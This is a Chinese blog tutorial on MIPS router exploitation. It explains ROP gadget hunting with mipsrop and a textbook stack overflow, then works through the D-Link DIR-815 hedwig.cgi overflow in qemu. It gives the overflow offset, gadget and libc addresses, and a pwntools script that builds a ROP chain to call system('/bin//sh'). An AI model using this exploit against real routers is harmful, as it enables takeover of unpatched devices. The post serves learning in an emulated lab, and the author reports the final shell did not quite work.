美文网首页IOT-路由器
路由器漏洞利用入门

路由器漏洞利用入门

作者: Nevv | 来源:发表于2019-06-29 21:44 被阅读0次

    路由器漏洞利用

    0x0 背景知识

    1.MIPS指令集合

    MIPS 指令集主要使用在一些嵌入式的 IOT 设备中,比如路由器,摄像头。要对这些设备进行二进制的漏洞挖掘就需要有对 MIPS 有一定的熟悉。MIPS 指令集的栈溢出与 x86 指令集的有所不同,所以漏洞的利用方式也不太相同,但是溢出的思路是一样的:覆盖返回地址、劫持程序控制流、构造 ROP chain 、写 shellcode 等等。本文介绍一下最基本的 MIPS 指令集下的栈溢出的利用方法。

    2.x86 和 MIPS 指令集的差异

    1.MIPS 指令系统大量使用寄存器,包括返回地址也是存放在 ra 寄存器中
    2.没有堆栈直接操作的指令,也就是没有 push 和 pop 指令
    3.所有指令都是 32 位编码,也就是说所有的数据和指令都是 4 字节对齐。

    由于 MIPS 固定指令长度,所以造成其编译后的二进制文件和内存占用空间比 x86 的要大
    MIPS 指令集使用 uclibc C 标准库,x86 使用 libc 的 C 标准库

    基本的指令用法和两者的差异可以参考这里:
    https://blog.csdn.net/gujing001/article/details/8476685

    3.MIPS 的动态调试

    在 qemu 上开启一个调试端口(-g 指定端口号),在 IDA 上使用 Remote GDB debugger,填上端口号和主机名即可

    ./qemu-mipsel -g 23946 xxxx
    

    具体的步骤可以看这里
    https://www.jianshu.com/p/9841b412af37

    • 也可以使用 gdb 进行调试,但是 gdb 需要使用专门支持 mips 指令集的 gdb 版本
    4. 叶子函数和非叶子函数

    ​ 叶子函数和非叶子函数是两个非常重要的概念,两者的一些特性照成了对栈溢出利用方式的差异。在某个函数中,如果这个函数不调用其他函数,那么就这个称为叶子函数。反则这个函数就是非叶子函数。叶子函数的返回地址是直接在ra寄存器中,而非叶子函数的返回地址会先保存在栈上。

    1. 非叶子函数,有 sw $ra,xxx 的操作,在函数退出时,会将存放在栈上的原来存放 ra 寄存器的值重新赋值到 ra 寄存器中。
    2. 叶子函数,没有 sw $ra,xxx 的操作。
    5. 寻找ROP链

    在 IDA 中寻找并构造 ROP chain 是使用 mipsrop.py 这个脚本来辅助 查找的(本来只支持IDA 6.8版本,大佬已经更新到了ida7.0的api,我在mac上的ida 7.0亲测用。使用方法是直接吧py文件复制到plugins文件夹下即可):
    https://github.com/devttys0/ida/tree/master/plugins/mipsrop

    • 这里也可以直接使用做pwn题目经常使用的ROPgadget

    使用:

    mipsrop.stackfinder() 寻找栈数据可控的 rop,建立和 a0a1 寄存器的关系
    mipsrop.summary() 列出所有的可用 rop
    mipsrop.system() 寻找命令执行的的rop
    mipsrop.find(xxx) 查找 find 函数参数的 rop,类似正则匹配

    0x1 例子分析

    1. 源码

    ​ 这里选择下面一个书中的例子说明下mips架构下rop的使用:

    • 很明显漏洞在main函数中,是一个栈溢出
    • 需要控制do_system_0函数的第二个参数cmd,也就是要控制a1寄存器
    • main函数是非叶子函数,因此其返回地址存储在栈上,因此可以溢出覆盖返回地址,劫持控制流/
    #include <stdio.h>
    #include <sys/stat.h>
    #include <unistd.h>
    
    void do_system_0(int code,char *cmd)
    {
        char buf[255];
        //sleep(1);
        system(cmd);
    }
    
    void main()
    {
        char buf[256]={0};
        char ch;
        int count = 0;
        unsigned int fileLen = 0;
        struct stat fileData;
        FILE *fp;
    
        if(0 == stat("passwd",&fileData))
            fileLen = fileData.st_size;
        else
            return 1;
    
        if((fp = fopen("passwd","rb")) == NULL)
        {
            printf("Cannot open file passwd!n");
            exit(1);
        }
    
    
        ch=fgetc(fp);
        while(count <= fileLen)
        {
            buf[count++] = ch;
            ch = fgetc(fp);
        }
        buf[--count] = 'x00';
    
        if(!strcmp(buf,"adminpwd"))
        {
            do_system(count,"ls -l");
        }
        else
        {
            printf("you have an invalid password!n");
        }
        fclose(fp);
    }
    

    使用 mipsrop.stackfinder() 命令来找找看

    Python>mipsrop.stackfinder()
    ----------------------------------------------------------------------------------------------------------------
    |  Address     |  Action                                              |  Control Jump                          |
    ----------------------------------------------------------------------------------------------------------------
    |  0x00417990  |  addiu $a3,$sp,0x18                                  |  jr    0x24($sp)                       |
    |  0x00417FF0  |  addiu $a2,$sp,0x18                                  |  jr    0x24($sp)                       |
    |  0x004185F4  |  addiu $a2,$sp,0x18                                  |  jr    0x24($sp)                       |
    ----------------------------------------------------------------------------------------------------------------
    Found 3 matching gadgets
    
    • 结果找到一个将栈上的数据保存到a1中的gadget,以及一个控制流跳转指令
    2. exp分析
    python -c "print 'a'*0x108+'x00x40x1Dx40'+'b'*24+'x2fx62x69x6e'+'x2fx73x68x00'+'c'*0x34+'x00x40x03x90'" > passwd
    
    • 'a' * 0x108 在 main 函数的栈空间填充到返回地址
    • 'x00x40x1Dx40' ROP chain 的地址
    • 'b' * 24 填充为 do_system_0 的第一个参数
    • x2fx62x69x6e'+'x2fx73x68x00' /bin/sh 字符串
    • 'c'*0x34 填充
    • 'x00x40x03x90' 填充返回地址,调用 do_system_0 函数

    https://www.anquanke.com/post/id/169689

    将这个程序运行起来,会读取 passwd 中的内容填充到程序的栈空间中,这样就可以得到 shell

    0x3 利用练习

    gdb+qumu调试

    ​ 在《揭秘家用路由0day漏洞挖掘》一书中使用的调试方式是使用ida pro,远程attach到qemu自带的gdbserver中实现调试,这里给出使用gdb+qumu的调试方法

    • 启动路由器固件的运行脚本如下所示,这里使用了书中第一个栈溢出的例子。
    #!/bin/sh
    #sudo ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x600"`
    INPUT="$1"
    TEST="$2"
    LEN=$(echo -n "$INPUT" | wc -c)
    PORT="1234"
    if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
    then
        echo -e "\nUsage: sudo $0 \n"
        exit 1
    fi
    cp $(which qemu-mipsel) ./qemu
    echo "$INPUT" | sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE="$TEST" -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi
    echo "run ok"
    rm -f ./qemu
    
    • 这里有几点需要注意一下:

      • 运行的时候由于ubutu默认的shell解释器是dash,但是书中给出的脚本的语法是bash的,因此运行的时候制定使用bash作为解释器运行

      • 使用qemu -g的选项是指定gdb server的端口

    启动gdb进行链接:

    ​ 由于ubuntu自带的gdb只支持x86和x64架构的,因此需要下载支持mips架构调试的gdb,这里可以直接使用如下命令进行安装:

    $ sudo apt-get install gdb-multiarch
    

    ​ 下载安装完成后运行, 使用 target remote localhost:1234 指定远程调试的ip和端口:

    $ gdb-multiarch ./hedwig.cgi
    (gdb) set arch mips
    The target architecture is assumed to be mips
    (gdb) set endian little
    The target is assumed to be little endian
    (gdb) target remote localhost:1234
    Remote debugging using localhost:1234
    
    • 这里有一个问题就是我在链接qemu的gdbserver的时候,报错Remote ‘g’ packet reply is too long,网上查了相关资料说是因为 qemu 修改了部分gdbserver的源码,返回的信息长度不一致,需要做如下修改并重新编译,具体可以参考链接 https://blog.csdn.net/u013592097/article/details/70549657 ,但是我按照说明重新编译了下,但是安装失败了,而且再次打开 gdb-multiarch 注意到提示 This GDB was configured as "x86_64-linux-gnu". 猜测应该不是上述问题。

    • 补充: 出现上述的原因是因为gdb-multiarch的版本依然是只支持x86_64架构的版本,因此还是需要安装对应版本的gdb进行调试。

    • 经过测试发现,如果要进行远程调试的话,需要使用 qemu-mipsel-static,参考链接为 https://xz.aliyun.com/t/3826

      apt-get install qemu binfmt-support qemu-user-static
      
    • 但是会出现下面的错误:

      # bash ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x405+'BBBB'"`
      qemu: /build/qemu-vx6Pwx/qemu-2.11+dfsg/accel/tcg/translate-all.c:2114: page_check_range: Assertion `start < ((target_ulong)1 << L1_MAP_ADDR_SPACE_BITS)' failed.
      qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x60166552
      run ok
      
    • 原因是使用的插件在和远程gdbserver交互的过程中出错了,这里我尝试了 gef、pwndbg 、gef三个插件都不行,只能直接使用gdb命令。(或许还是因为gdbserver和gdb版本对应不上。。。。i_i), 艰难的使用了一下原版gdb,放弃。。。。

    (gdb) frame 0
    #0  0x00409680 in hedwigcgi_main ()
    (gdb) info frame
    Stack level 0, frame at 0x7fffed30:
     pc = 0x409680 in hedwigcgi_main; saved pc = 0x7f78ff00
     called by frame at 0x7fffede0
     Arglist at 0x7fffed30, args: 
     Locals at 0x7fffed30, Previous frame's sp is 0x7fffed30
     Saved registers:
      s0 at 0x7fffed08, s1 at 0x7fffed0c, s2 at 0x7fffed10, s3 at 0x7fffed14, s4 at 0x7fffed18, s5 at 0x7fffed1c, s6 at 0x7fffed20,
      s7 at 0x7fffed24, gp at 0x7fffe858, s8 at 0x7fffed28, ra at 0x7fffed2c, pc at 0x7fffed2c
    (gdb) 
    
    
    D-LINK 815 路由器调试
    • 使用本节中给出的脚本,运行后使用ida附加调试,在409680处设置断点,运行后单步调试,观察寄存器的变化,当程序运行到 0x0409A54 的位置后,观察到其中所存储的数据均变成了AAAAAA字符串,可见确实存在溢出。

    • 计算栈溢出位置到栈上存储的ra位置偏移:

      ra 位置7FFFE93C  A起始位置 7FFFE537 偏移为0x405(pid=1234的时候)
      
      
      7FFFE4F0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
      7FFFE500  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
      7FFFE510  00 00 00 00 00 00 00 00  2F 72 75 6E 74 69 6D 65  ......../runtime
      7FFFE520  2F 73 65 73 73 69 6F 6E  2F 31 32 33 34 26 70 61  /session/1234&pa
      7FFFE530  73 73 77 6F 72 64 3D 41  41 41 41 41 41 41 41 41  ssword=AAAAAAAAA
      7FFFE540  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
      7FFFE550  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
      7FFFE560  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
      
      
      7FFFE514  00000000  MEMORY:dword_0
      7FFFE518  6E75722F  MEMORY:6E75722F
      7FFFE51C  656D6974  MEMORY:656D6974
      7FFFE520  7365732F  MEMORY:7365732F
      7FFFE524  6E6F6973  MEMORY:6E6F6973
      7FFFE528  3332312F  MEMORY:3332312F
      7FFFE52C  61702634  MEMORY:61702634
      7FFFE530  6F777373  MEMORY:6F777373
      7FFFE534  413D6472  MEMORY:413D6472
      7FFFE538  41414141  MEMORY:41414141
      7FFFE53C  41414141  MEMORY:41414141
      7FFFE540  41414141  MEMORY:41414141
      
    • 根据函数的执行流程,会去尝试打开 /var/tmp/temp.xml ,但是提取出来的固件文件系统中没有这个文件,由于手头并没有实际路由器,这里利用过程按照模拟环境处理。

    栈溢出利用
    • 利用的思路和x86架构下类似,主要分为以下几个步骤:
    1. 寻找栈偏移,劫持程序控制流域。

    2. 执行 system(“/bin/shx00”),这里的参数可以使用 mipsrop.stackfinder() 的 gadget 来把 “/bin/shx00” 传到栈上。之后将这个栈的位置传入 a0 寄存器,这样就达到了利用的目的

    • 这里有几点需要注意下:
    1. system 函数的位置,在 0x00053200 处,显然地址的最低位是坏字节,没办法直接传入
    2. 根据《揭秘家用路由器0day漏洞挖掘技术》书中的方法先将 system 函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将地址恢复到 0x53200。
    • ROP链如下:
    1. 将s0寄存器的位置写为 system_addr - 1
    2. 将s0寄存器+1
    3. 寻找栈操作的相关gadget(mov a0,stack_addr) stack_addr 储存了执行shell命令的字符串
    4. call system

    根据以上思路:

    • 首先根据上述计算出的偏移0x405,进行验证,使用如下命令启动脚本:

    • bash ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x405+'BBBB'"`
      

      可以得到如下结果,已经能够成功控制程序的控制流:

      7FFFED10  41414141  MEMORY:41414141
      7FFFED14  41414141  MEMORY:41414141
      7FFFED18  41414141  MEMORY:41414141
      7FFFED1C  41414141  MEMORY:41414141
      7FFFED20  41414141  MEMORY:41414141
      7FFFED24  41414141  MEMORY:41414141
      7FFFED28  41414141  MEMORY:41414141
      7FFFED2C  42424242  MEMORY:42424242
      7FFFED30  736F702F  MEMORY:736F702F
      7FFFED34  6C6D7874  MEMORY:6C6D7874
      7FFFED38  7F7E9300  MEMORY:7F7E9300
      
    • 寻找 s0 + 1的gadget,这里在用7.0版本的ida的mipsrop插件的时候报错了,尝试修复失败,根据书中地址,手动找到了一个地址为0x000158D0的gadget:

      .text:000158C8
      .text:000158C8 loc_158C8:                               # CODE XREF: sub_157DC+B0↑j
      .text:000158C8                 move    $t9, $s5
      .text:000158CC                 jalr    $t9
      .text:000158D0                 addiu   $s0, 1    /////////
      .text:000158D4                 sb      $s7, 0($v0)
      .text:000158D8                 lw      $a1, 0($s2)
      .text:000158DC                 addiu   $a0, $v0, 1
      .text:000158E0                 move    $t9, $s5
      .text:000158E4                 jalr    $t9       /////////  相当于jalr,$s5
      .text:000158E8                 move    $a2, $s4
      .text:000158EC                 lw      $gp, 0x40+var_30($sp)
      .text:000158F0                 la      $t9, free
      .text:000158F4                 jalr    $t9 ; free
      .text:000158F8                 lw      $a0, 0($s2)
      .text:000158FC                 lw      $gp, 0x40+var_30($sp)
      .text:00015900                 sw      $s1, 0($s2)
      
    • 接下来寻找传递参数的的gadget,这里选用0x159CC处的gadget:

      | 0x000159CC | addiu $s5,$sp,0x170+var_160 | jalr $s0 |
      
      .text:000159CC                 addiu   $s5, $sp, 0x170+var_160
      .text:000159D0                 move    $a1, $s3
      .text:000159D4                 move    $a2, $s1
      .text:000159D8                 move    $t9, $s0
      .text:000159DC                 jalr    $t9 ; mempcpy
      .text:000159E0                 move    $a0, $s5
      .text:000159E4                 lw      $gp, 0x170+var_160($fp)
      .text:000159E8                 move    $a0, $v0             
      

      ​ 也就是先吧 sp+10处的值传递到 s5寄存器,最后将 s5 寄存器中当作参数传递给 a0,这里执行的是 jalr $t9 ;因此,我们只需要提前把 s0 设置为system函数的地址,最后实际上执行的就是 system函数。

    常见 mips 反汇编跳转指令
    li $a0,1 li,即加载立即数到寄存器中
    jr和jal jr 跳转到寄存器。jal会把下一条指令存储在ra寄存器中

    ​ jal、jalr:这两条指令分别实现了直接和间接子程序调用。在跳转到指定地址实现子程序调用的同时,需要将返回地址(当前指令地址+8)保存到 ra($31)寄存器中。为什么是当前指令地址加8呢?这是因为紧随跳转指令之后有一条立即执行的延迟槽指令(例如nop占位指令),加8刚好是延迟槽后面的那条有效指令。从子程序返回是通过寄存器跳转完成,通常调用 jr ra。

    寻找动态链接库的实际地址

    ​ 由于我这里gdb的插件不能用,尝试手动cat相关地址:

    nevv@ubuntu:~/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo cat /proc/9425/maps
    [sudo] password for nevv: 
    60000000-602ee000 r-xp 00000000 08:01 806503                             /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/qemu
    604ee000-6054a000 rw-p 002ee000 08:01 806503                             /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/qemu
    6054a000-60561000 rw-p 00000000 00:00 0 
    60561000-6255f000 rwxp 00000000 00:00 0 
    6255f000-62560000 ---p 00000000 00:00 0 
    62560000-6257d000 rw-p 00000000 00:00 0 
    63099000-63100000 rw-p 00000000 00:00 0                                  [heap]
    7f09345e1000-7f09349e1000 ---p 00000000 00:00 0 
    7f09349e1000-7f09349fd000 r-xp 00000000 08:01 840193                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin
    7f09349fd000-7f0934a0d000 ---p 00000000 00:00 0 
    7f0934a0d000-7f0934a0e000 rw-p 0001c000 08:01 840193                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin
    7f0934a0e000-7f0934a11000 rw-p 00000000 00:00 0 
    7f0934a11000-7f09b3d19000 ---p 00000000 00:00 0 
    7f09b3d19000-7f09b3d77000 r-xp 00000000 08:01 840894                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
    7f09b3d77000-7f09b3d86000 ---p 00000000 00:00 0 
    7f09b3d86000-7f09b3d87000 r--p 0005d000 08:01 840894                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
    7f09b3d87000-7f09b3d88000 rw-p 0005e000 08:01 840894                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
    7f09b3d88000-7f09b3d8d000 rw-p 00000000 00:00 0 
    7f09b3d8d000-7f09b3d8e000 ---p 00000000 00:00 0 
    7f09b3d8e000-7f09b3db7000 r-xp 00000000 08:01 840874                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libgcc_s.so.1
    7f09b3db7000-7f09b3dc7000 ---p 00000000 00:00 0 
    7f09b3dc7000-7f09b3dc8000 rw-p 00029000 08:01 840874                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libgcc_s.so.1
    7f09b3dc8000-7f09b3dc9000 ---p 00000000 00:00 0 
    7f09b3dc9000-7f09b3dca000 rw-p 00000000 00:00 0 
    7f09b3dca000-7f09b3dcf000 r-xp 00000000 08:01 840866                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
    7f09b3dcf000-7f09b3dde000 ---p 00000000 00:00 0 
    7f09b3dde000-7f09b3ddf000 r--p 00004000 08:01 840866                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
    7f09b3ddf000-7f09b3de0000 rw-p 00005000 08:01 840866                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
    7f09b3de0000-7f09b3de1000 ---p 00000000 00:00 0 
    7f09b3de1000-7f09b4662000 rw-p 00000000 00:00 0 
    7f09b4662000-7f09b4663000 ---p 00000000 00:00 0 
    7f09b4663000-7f09b4e63000 rw-p 00000000 00:00 0 
    7ffda09b3000-7ffda09d5000 rw-p 00000000 00:00 0                          [stack]
    7ffda09e8000-7ffda09eb000 r--p 00000000 00:00 0                          [vvar]
    7ffda09eb000-7ffda09ed000 r-xp 00000000 00:00 0                          [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
    
    

    ​ 但是由于程序是qemu仿真执行的,因此cat出来的地址并不是程序的真实地址,只能想一想曲线救国的办法,使用残缺功能的gdb:

    (gdb) p system
    $6 = {<text variable, no debug info>} 0x7f78b200 <system>
    

    ​ 而 system 函数在动态链接库中的偏移是 0x53200 ,因此可以计算出libc的实际地址是 0x7f738000,并且每次运行时地址均不变,原因是什么安全检查都没开(—_—):

    $ checksec cgibin
    [*] Checking for new versions of pwntools
    [*] Checking for new versions of pwntools
    [*] Checking for new versions of pwntools
        To disable this functionality, set the contents of /home/nevv/.pwntools-cache/update to 'never'.
    [*] You have the latest version of Pwntools (3.12.2)
    [*] '/home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin'
        Arch:     mips-32-little
        RELRO:    No RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
        RWX:      Has RWX segments
    
    
    exp
    from pwn import *
    context.endian="little"
    context.arch="mips"
    
    base_addr = 0x7f738000
    system_addr_1 = 0x53200-1
    rop1 = 0x000158c8  # addiu $s0 ,1 | jalr $s5  ->save_to ret address
    rop2 = 0x159CC      # addiu $s5,$sp,0x170+var_160 | jalr $s0 | save_to_s5
    
    
    padding = 'uid=1234&password=' + 'a' * (0x405-9*4)
    padding += p32(base_addr + system_addr_1)                              # s0
    padding += 'a' * 4                        # s1
    padding += 'a' * 4                        # s2
    padding += 'a' * 4                              # s3
    padding += 'a' * 4                              # s4
    padding += p32(base_addr+rop2)               # s5
    padding += 'a' * 4                              # s6
    padding += 'a' * 4                              # s7
    padding += 'a' * 4                              # fp
    padding += p32(base_addr + rop1)        # ra
    
    
    #------------------------- stack 2 ---------------------------
    padding += 'b' * 0x10
    padding += '/bin//sh'
    
    with open("call_system_padding",'wb') as f:
    
        f.write(padding)
    
    
    
    f.close()
    

    ​ 我在本地执行的过程中,确并没有get到shell,gdb调试:

    当执行到0x7f74d9dc: 
       0x7f74d9cc:  addiu   s5,sp,16
       0x7f74d9d0:  move    a1,s3
       0x7f74d9d4:  move    a2,s1
       0x7f74d9d8:  move    t9,s0
       0x7f74d9dc:  jalr    t9
       0x7f74d9e0:  move    a0,s5
    
    可以看到:
    (gdb) p $t9
    $9 = 2138616320
    (gdb) p system
    $10 = {<text variable, no debug info>} 0x7f78b200 <system>
    (gdb) 
    >>> hex(2138616320)
    '0x7f78b200'
    
    确实调用了system函数,但是参数似乎有点问题:
    (gdb) x /s $s5
    0x7fffed10: "/bin//sh/postxml"
    
        
    直接在system函数位置下断点:
    Breakpoint 4, 0x7f74d9dc in ?? () from ./lib/libc.so.0
    (gdb) c
    Continuing.
    Breakpoint 5, 0x7f78b200 in system () from ./lib/libc.so.0
    (gdb) x /s $a0
    0x7fffed00: "/bin/sh/postxml"
    
    

    ​ 尝试了几种方法进行截断都不行。或许是姿势不对?0.0

    参考链接

    相关文章

      网友评论

        本文标题:路由器漏洞利用入门

        本文链接:https://www.haomeiwen.com/subject/vhjmcctx.html